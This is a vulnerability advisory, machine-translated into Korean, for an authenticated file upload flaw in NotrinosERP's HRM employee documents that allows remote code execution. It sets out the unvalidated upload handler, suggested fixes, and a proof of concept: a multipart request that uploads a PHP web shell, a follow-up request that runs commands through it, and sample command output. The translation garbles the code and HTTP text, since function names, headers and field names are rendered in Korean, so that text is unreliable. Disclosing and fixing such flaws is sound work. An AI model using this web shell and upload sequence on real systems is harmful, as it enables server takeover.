NotrinosERP: 인증된 임의 파일 업로드로 인해 HRM 직원 "문서"(doc_file)를 통해 원격 코드가 실행됩니다.
HR "직원 관리" 권한(SA_EMPLOYEE)이 있는 인증된 사용자는 직원 문서 탭을 통해 임의 확장자를 가진 파일을 업로드할 수 있습니다. 핸들러는 확장자, MIME 또는 콘텐츠 유효성 검사 없이 웹 제공 디렉터리에 원시 클라이언트 제공 파일 이름(확장자 그대로)을 작성하므로 '.php' 파일은 웹 루트에 저장되고 코드로 실행되어 서버에서 원격 코드 실행을 제공합니다.
hrm/manage/employees.php(tab_documents() 함수)의 문서 업로드 분기는 클라이언트 파일 이름을 그대로 사용하여 업로드된 파일을 이동합니다.
``php // hrm/manage/employees.php -> tab_documents() (HEAD 라인 597-602; 릴리스 1.0.0 라인 568-573) $upload_dir = 회사_경로().'/문서/직원'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.''.time().''.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
이 경로에는 **없음** 확장 허용 목록, `getimagesize()`, MIME 확인 또는 콘텐츠 검사가 없습니다. 이를 이미지 유형/확장자/크기를 확인하는 *동일 파일*의 프로필 사진(`pic`) 업로드와 클라이언트 파일 이름을 절대 신뢰할 수 없다는 주석 경고와 함께 의도적으로 확장자가 없는 무작위 이름(`uniqid()`)을 생성하는 코어 `includes/ui/attachment.inc`와 대조해 보세요. 문서 처리기는 설정된 안전 패턴을 무시합니다.
작성된 파일의 접근성:
- `company_path()`는 웹 루트 아래에서 확인됩니다. `config.default.php` 세트
`$comp_path = $path_to_root.'/company'`, 따라서 업로드는 `company/0/documents/employees/`에 있습니다.
- 프로젝트의 유일한 `.htaccess`는 `.inc/.po/.sh/.pem/.sql/.log`를 거부하는 repo-root입니다.
만 — `.php`를 차단하지 **않고** `회사/`를 포함하지 **않습니다**.
- 그러면 저장된 경로가 클릭 가능한 "보기" 링크에 **이스케이프되지 않음**으로 표시됩니다.
(`hrm/includes/ui/employee_ui.inc` 라인 153-154 - `file_path`가 `href`로 바로 연결됨),
공격자에게 쉘의 정확한 URL을 전달합니다(그리고 보조 저장 XSS 싱크인 CWE-79를 생성합니다).
`../`를 포함하는 제작된 멀티파트 `filename`은 기본 이름 `['name']`이 아닌 PHP 빌드에서 경로 탐색(CWE-22)을 추가로 활성화합니다.
#### 개념 증명
업로드는 인증 및 CSRF에 의해 통제되지만 **파일 자체는 통제되지 않습니다**. 전제조건: `SA_EMPLOYEE`를 사용한 인증된 세션; 기존 직원(`employee_no`) 유효한 `doc_type_id`; 세션 CSRF 토큰. CSRF 필드는 **`_token`**(`$_SESSION['csrf_token']`에 대해 `check_csrf_token()`으로 검증됨)이므로 먼저 문서 양식을 GET하여
'_token'을 숨긴 후 제출하세요. **자신의** 로컬 인스턴스에 대해:
``http
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
호스트: <your-local-instance>
쿠키: <인증된 세션>
콘텐츠 유형: 다중 부분/양식 데이터; 경계=b
--b
내용-처리: 양식-데이터; 이름="_토큰"
<GET 응답의 숨겨진 _token 필드 값>
--b
내용-처리: 양식-데이터; 이름="doc_type_id"
<유효한 문서 유형 ID>
--b
내용-처리: 양식-데이터; 이름="문서_이름"
엑스
--b
내용-처리: 양식-데이터; 이름="doc_파일"; 파일명="shell.php"
콘텐츠 유형: 애플리케이션/x-php
<?php 시스템($_GET['c']); ?>
--b
내용-처리: 양식-데이터; 이름="저장_문서"
문서 저장
--b--
그런 다음 저장된 파일을 요청합니다(정확한 경로는 문서 탭의 "보기" 링크에 표시됨).
``http GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
`c`의 명령은 서버에서 실행됩니다.
#### 검증(로컬로 수행, 네트워크 없음)
코드 실행 메커니즘은 로컬 호스트(PHP 8.5)에서 확인되었습니다. 핸들러의 **축어적** 경로/이동 논리를 실행하는 하네스는 `company/0/documents/employees/1_<ts>_shell.php`(공격자가 선택한 `.php` 확장자, 유효성 검사 적용 안 함)를 작성하고 앱 디렉토리에 루트가 있는 PHP 웹 서버를 통해 요청하면 페이로드가 실행됩니다.
$ 컬 '.../company/0/documents/employees/1_1783671979_shell.php?c=id' uid=501(...) gid=20(직원) ... $ 컬 '.../<동일>.php?c=uname%20-sm;whoami' 다윈 arm64 <사용자>
주의 사항: (1) CLI 프로세스에는 실제 멀티파트 임시 파일이 없기 때문에 하네스는 `move_uploaded_file()` 대신 `copy()`를 사용했습니다. 클라이언트 파일 이름 처리 및 유효성 검사 부재는 프로덕션(`poc/rce_demo.php`)과 동일합니다. (2) PHP의 내장 서버는 경로별로 파일을 실행하며 표준 Apache/mod_php 또는 Nginx+PHP-FPM 배포는 동일하게 동작합니다. 왜냐하면 repo-root `.htaccess`는 `.php`를 차단하지 않고 `company/`를 포함하지 않기 때문입니다. 전체 HTTP 흐름에는 위의 auth + `_token` + `doc_type_id` 전제 조건이 추가로 필요하며 어느 것도 파일을 검사하지 않습니다.
#### 영향
위임 가능한 'SA_EMPLOYEE' 역할(반드시 관리자일 필요는 없음)을 보유한 인증된 운영자가 호스팅 서버에서 원격 코드를 실행합니다. 배포에서 관리자에게만 `SA_EMPLOYEE`를 부여하는 경우 필요한 권한을 높음(CVSS 7.2)으로 처리합니다.
#### 제안된 수정 사항
- 디스크에서 클라이언트 파일 이름을 사용하지 마십시오. 서버에서 생성된 이름으로 저장하고 **실행 파일 없음
확장**(`includes/ui/attachment.inc`의 `uniqid()` 접근 방식 미러링); 원래 이름을 유지하세요
DB 레이블로만 사용 가능합니다.
- 'pic'과 정확히 동일하게 문서 확장자/MIME 유형 및 크기 제한의 허용 목록을 적용합니다.
지점은 이미 그렇습니다.
- 웹 루트 외부에 업로드를 저장하거나 `.htaccess`/`web.config`를
스크립트 실행을 비활성화하는 `company/*/documents/`(`php_admin_flag 엔진 끄기`,
`RemoveHandler .php`, `SetHandler 없음`).
- `htmlspecialchars()`는 "보기" 링크를 내보내기 전 저장된 경로입니다(보조 XSS 수정).
#### 리소스/크레딧
- 영향을 받는 코드: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.
- 제보자: **<카스퍼 홍 / Kasper Builds>**.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준